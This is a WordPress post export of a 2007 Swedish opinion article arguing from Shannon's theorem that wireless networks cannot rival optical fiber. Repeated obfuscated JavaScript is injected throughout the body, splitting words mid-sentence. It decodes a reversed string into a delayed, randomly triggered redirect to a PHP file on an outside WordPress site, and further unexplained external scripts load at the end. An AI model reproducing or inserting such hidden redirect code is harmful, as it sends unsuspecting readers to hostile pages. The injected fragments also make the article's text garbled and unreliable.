{"id":86,"date":"2007-11-24T13:48:28","date_gmt":"2007-11-24T13:48:28","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?p=86"},"modified":"2007-11-24T13:48:28","modified_gmt":"2007-11-24T13:48:28","slug":"shannon","status":"publish","type":"post","link":"https:\/\/hindersby.net\/nywp\/?p=86","title":{"rendered":"Shannon"},"content":{"rendered":"<p>Shannons teorem      <\/p>\n<h2>Datan\u00e4t:<\/h2>\n<h1>Shannons teorem &#8211; Tr\u00e5dl\u00f6st \u00e4r v\u00e4rdel\u00f6st !<\/h1>\n<p>\u00a0(OBS ! Det h\u00e4r g\u00e4ller bara tr\u00e5dl\u00f6st som allm\u00e4nt datan\u00e4t. D\u00e4remot fungerar det bra f\u00f6r epost och sm\u00e5surfande. Ingen teknik \u00e4r i och f\u00f6r sej d\u00e5lig men den kan vara v\u00e4rdel\u00f6s f\u00f6r en viss till\u00e4mpning) <\/p>\n<p>  Shannons teorem dyker upp alltid d\u00e5 n\u00e5n f\u00f6rs\u00f6ker p\u00e5st\u00e5 att &#8221;Tr\u00e5dl\u00f6st \u00e4r framtiden!&#8221;. Alla som l\u00e4st Grundkurs i telekommunikation k\u00e4nner till Shannon som p\u00e5 1940-talet st\u00e4llde upp och bevisade ett teorem som direkt s\u00e4jer att det \u00e4r om\u00f6jligt.  <\/p>\n<p> Det \u00e4r allts\u00e5 fr\u00e5ga om en naturlag &#8211; ungef\u00e4r som tyngdkraften och termodynamikens f\u00f6rsta huvudsats (energiprincipen). Att f\u00f6rs\u00f6ka komma f\u00f6rbi Shannons teorem \u00e4r lika huvudl\u00f6st som att f\u00f6rs\u00f6ka bygga en evighetsmaskin (en maskin som g\u00e5r i all evighet utan att man tillf\u00f6r energi). M\u00e5nga &#8221;uppfinnare&#8221; har blivit vansinniga under sina f\u00f6rs\u00f6k att f\u00e5 till st\u00e5nd det om\u00f6jliga &#8211; liksom f\u00f6rs\u00f6ken att g\u00f6ra guld.  <\/p>\n<p> Shannons teorem s\u00e4jer helt kort och kraftigt att \u00f6ver ett visst frekvensband kan man bara \u00f6verf\u00f6ra en viss m\u00e4ngd information OBEROENDE AV TEKNIK. Det finns allts\u00e5 inget hopp om att det n\u00e5nsin kommer s\u00e5dana uppfinningar som f\u00e5r informationsfl\u00f6det att g\u00e5 ut\u00f6ver de gr\u00e4nser Shannons teorem st\u00e4ller.  <\/p>\n<p><!--more--><\/p>\n<p> Med nuvarande teknik b\u00f6rjar vi redan n\u00e4rma oss Shannons gr\u00e4ns s\u00e5 det finns inte mycket att hoppas p\u00e5. Det \u00e4r redan nu skriande brist p\u00e5 frekvensband och digitaliseringen beror till s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tor del just p\u00e5 att mobiloperat\u00f6rerna vill l\u00e4gga vantarna p\u00e5 TV:ns frekvensband. I Dagens Nyheter protesterade cheferna f\u00f6r TV-bolagen i Sverige kraftigt mot dessa planer men f\u00e5 nu se &#8230;  <\/p>\n<p> Radiotekniken \u00e4r en DELAD teknik. Inom en stations t\u00e4ckningsomr\u00e5de delar alla p\u00e5 det frekvensband som stationen f\u00e5r anv\u00e4nda. D\u00e5 fungerar allting utm\u00e4rkt och snabbt s\u00e5 l\u00e4nge det bara finns n\u00e5gra f\u00e5 kunder inom omr\u00e5det men d\u00e5 antalet \u00f6kar s\u00e5 minskar hastigheten f\u00f6r alla. Och det \u00e4r ju inte l\u00f6nsamt att bara ha ett f\u00e5tal kunder. Till sist \u00e4r man nere i telefonmodemens hastighet.  <\/p>\n<p> D\u00e5 det \u00e4r brist p\u00e5 frekvensband s\u00e5 finns det ingen annan m\u00f6jlighet att l\u00f6sa problemet \u00e4n att MINSKA p\u00e5 omr\u00e5det f\u00f6r varje station &#8211; allts\u00e5 bygga fler sm\u00e5 stationer. Likas\u00e5 d\u00e5 kraven \u00f6kar &#8211; till exempel d\u00e5 HDTV kommer vilket kr\u00e4ver enormt mycket informations\u00f6verf\u00f6ring. Till sist blir omr\u00e5det s\u00e5 litet att det beh\u00f6vs en station f\u00f6r varje hus och varje l\u00e4genhet.  <\/p>\n<p> Men det \u00e4r dyrt att bygga m\u00e5nga sm\u00e5 stationer. Och hur skall man koppla ihop dem ? Det \u00e4r f\u00f6rst\u00e5s bara optisk fiber som kan \u00f6verf\u00f6ra informationsm\u00e4ngden till radiostationen och d\u00e5 f\u00e5r vi s\u00e5 sm\u00e5ningom ett fibern\u00e4t med fiber till varje hus och l\u00e4genhet ! Man kan ju f\u00f6rst\u00e5s kalla n\u00e4tet tr\u00e5dl\u00f6st fortfarande men jag skulle nog kalla det fibern\u00e4t.  <\/p>\n<p> S\u00e5 \u00e4ven om man g\u00e5r bakl\u00e4nges s\u00e5 m\u00e5ste tr\u00e5dl\u00f6sa n\u00e4t s\u00e5 sm\u00e5ningom ers\u00e4ttas av fibern\u00e4t tills man bara har SLADDL\u00d6SA n\u00e4t kvar dvs. bara sladdarna i hemmet eller f\u00f6retaget \u00e4r ersatta med tr\u00e5dl\u00f6s \u00f6verf\u00f6ring. Och vackert s\u00e5 &#8211; men fram till huset m\u00e5ste nog de s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tora datam\u00e4ngderna flyttas genom optisk fiber. Det finns ingen annan teknik som ens kommer n\u00e4ra.  <\/p>\n<p> I dagens l\u00e4ge kan man tr\u00e5dl\u00f6st \u00f6verf\u00f6ra n\u00e5gra Megabit\/s. I praktiken klarar mobiln\u00e4ten inte ens det. De optiska fibern\u00e4ten \u00f6verf\u00f6r nu minst 100 Mbit\/s och snart blir 1 Gbit\/S (1000 Mbit\/s) den billigaste tekniken p\u00e5 op<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tofibersidan.  <\/p>\n<p> Det finns teknik som fungerar med ett par hundra Mbit\/s p\u00e5 den tr\u00e5dl\u00f6sa sidan &#8211; men bara ett tiotal meter. Dessu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tom \u00e4r radiopro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tokollen s\u00e5 invecklade och \u00f6verf\u00f6ringen s\u00e5 os\u00e4ker att den verkliga nyt<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>totrafiken ofta blir mellan 10 och 50 % av den r\u00e5a \u00f6verf\u00f6ringen.  <\/p>\n<p> D\u00e5 man utvecklat ny teknik p\u00e5 radiosidan s\u00e5 har op<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tofibern redan g\u00e5tt \u00f6ver till 10 Gbit\/s och sedan \u00e4r 100 Gbit\/s. Den teoretiska gr\u00e4nsen f\u00f6r EN fiber ligger ungef\u00e4r vid 40 miljoner Gbit\/s s\u00e5 det finns \u00e4nnu en hel del utrymme f\u00f6r f\u00f6rb\u00e4ttringar. F\u00f6rst\u00e5s g\u00e4ller Shannons teorem ocks\u00e5 f\u00f6r fiber men po\u00e4ngen \u00e4r att i VARJE fiber har man tillg\u00e5ng till HELA frekvensspektret f\u00f6r signalen st\u00f6r ingen annan fiber och blir inte heller st\u00f6rd av n\u00e5nting. I en kopparkabel st\u00f6r alla tr\u00e5darna varandra men i en op<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tokabel \u00e4r de fullst\u00e4ndigt \u00e5tskilda.  <\/p>\n<p> Man kan allts\u00e5 kort och gott s\u00e4ja att det \u00e4r b\u00e4st att gl\u00f6mma radioteknik d\u00e5 det \u00e4r fr\u00e5ga om datan\u00e4t &#8211; u<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tom i hemmet eller inom f\u00f6retaget d\u00e4r avst\u00e5nden \u00e4r n\u00e5gra meter eller tiotals meter. Men naturligtvis fungerar radioteknik utm\u00e4rkt f\u00f6r SM\u00c5 datam\u00e4ngder och tillf\u00e4lligt. Och om det \u00e4r fr\u00e5gan om extrema glesbygder d\u00e4r antalet kunder per station aldrig \u00f6verstiger ett tiotal s\u00e5 kan radiotekniken vara anv\u00e4ndbar.  <\/p>\n<p> Man kan undra varf\u00f6r ingenj\u00f6rerna inte ber\u00e4ttar det h\u00e4r f\u00f6r beslutsfattarna s\u00e5 de undviker att g\u00f6ra dumma beslut. Men ingenj\u00f6rer \u00e4r ocks\u00e5 bara m\u00e4nniskor och d\u00e5 l\u00f6nen kommer fr\u00e5n bolag som tillverkar tr\u00e5dl\u00f6sa system \u00e4r ingen S\u00c5 intresserad av att s\u00e5ga av den gren de sitter p\u00e5. Och s\u00e5 har ett visst s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tort bolag som tilverkar tr\u00e5dl\u00f6s teknik ett betydande inflytande.  <\/p>\n<p> Se ocks\u00e5 <a href=\"Kopparns.avtynande.html\"> &#8221;Kopparn\u00e4tets avtynande och d\u00f6d&#8221; <\/a>.   <\/p>\n<p> Nisse Husberg<br \/> tekn.dr. (datateknik)<br \/> f.d. docent och professor vid Tekniska h\u00f6gskolan      <\/p>\n<h3>F\u00f6r teknikintresserade:<\/h3>\n<p>  Shannons teorem (eller Shannon-Hartleys teorem) lyder: <\/p>\n<p>  C = B log2(1+S\/R)  <\/p>\n<p> d\u00e4r  <\/p>\n<p> C \u00e4r kapaciteten (bit\/s)<br \/> B \u00e4r bandbredden (Hertz)<br \/> S \u00e4r signalstyrkan (Watt)<br \/> R \u00e4r st\u00f6rningarna (Watt)  <\/p>\n<p> Man ser att det \u00e4r m\u00f6jligt att f\u00e5 st\u00f6rre kapacitet genom att \u00f6ka signalstyrkan. S\u00e5 varf\u00f6r g\u00f6r man det inte ? Helt enkelt d\u00e4rf\u00f6r att det finns en m\u00e4ngd radiostationer i grannskapet som st\u00f6rs om man \u00f6kar signalstyrkan och d\u00e5 f\u00e5r de l\u00e4gre kapacitet. Ifr\u00e5ga om mobila n\u00e4t s\u00e5 r\u00f6r sej mottagaren hela tiden fr\u00e5n den ena stationen till den andra och alla omr\u00e5den m\u00e5ste ha lika god kapacitet f\u00f6r att det skall fungera f\u00f6rnuftigt.  <\/p>\n<p> Det finns en liten m\u00f6jlighet att uppfinna teknik som klarar av st\u00f6rningar b\u00e4ttre men de f\u00f6rb\u00e4ttringarna \u00e4r ganska marginella d\u00e5 man j\u00e4mf\u00f6r med op<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>tofibern\u00e4t.  <\/p>\n<p>  Man kan bygga j\u00e4ttefina radiosystem som anv\u00e4nder m\u00e5nga antenner men i verkligheten \u00e4r de alla beroende av radiov\u00e5gornas utbredning (en mycket invecklad sak). De fungerar bra endast d\u00e5 f\u00f6rh\u00e5llandena \u00e4r perfekta. Om man j\u00e4mf\u00f6r med bilar s\u00e5 kan en hyper-super V12:a vara bra p\u00e5 en mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>torv\u00e4g (motsvarar fina radiof\u00f6rh\u00e5llanden) men d\u00e5 det finns mycket trafik och st\u00f6rningar (i alla st\u00e4der) s\u00e5 \u00e4r en V12:a inte snabbare \u00e4n en Lada i k\u00f6erna.  <\/p>\n<p>  Men de firmor som s\u00e4ljer burkarna pekar naturligtvis p\u00e5 hur fort V12:an kan k\u00f6ra p\u00e5 mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>torv\u00e4gen. Men om det inte finns n\u00e5gon mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>torv\u00e4g ? Ifr\u00e5ga om radiov\u00e5gor s\u00e5 g\u00e5r det inte heller att bygga mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>torv\u00e4gar &#8211; hur mycket pengar man \u00e4n s\u00e4tter ut &#8230;  <\/p>\n<p>     Den 14 november 2007<\/p>\n<p><script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Shannons teorem Datan\u00e4t: Shannons teorem &#8211; Tr\u00e5dl\u00f6st \u00e4r v\u00e4rdel\u00f6st ! \u00a0(OBS ! Det h\u00e4r g\u00e4ller bara tr\u00e5dl\u00f6st som allm\u00e4nt datan\u00e4t. D\u00e4remot fungerar det bra f\u00f6r epost och sm\u00e5surfande. Ingen teknik \u00e4r i och f\u00f6r sej d\u00e5lig men den kan vara v\u00e4rdel\u00f6s f\u00f6r en viss till\u00e4mpning) Shannons teorem dyker upp alltid d\u00e5 n\u00e5n f\u00f6rs\u00f6ker p\u00e5st\u00e5 att &hellip; <a href=\"https:\/\/hindersby.net\/nywp\/?p=86\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dShannon\u201d<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[37],"class_list":["post-86","post","type-post","status-publish","format-standard","hentry","category-14","tag-37"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/86","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=86"}],"version-history":[{"count":1,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/86\/revisions"}],"predecessor-version":[{"id":285,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/86\/revisions\/285"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}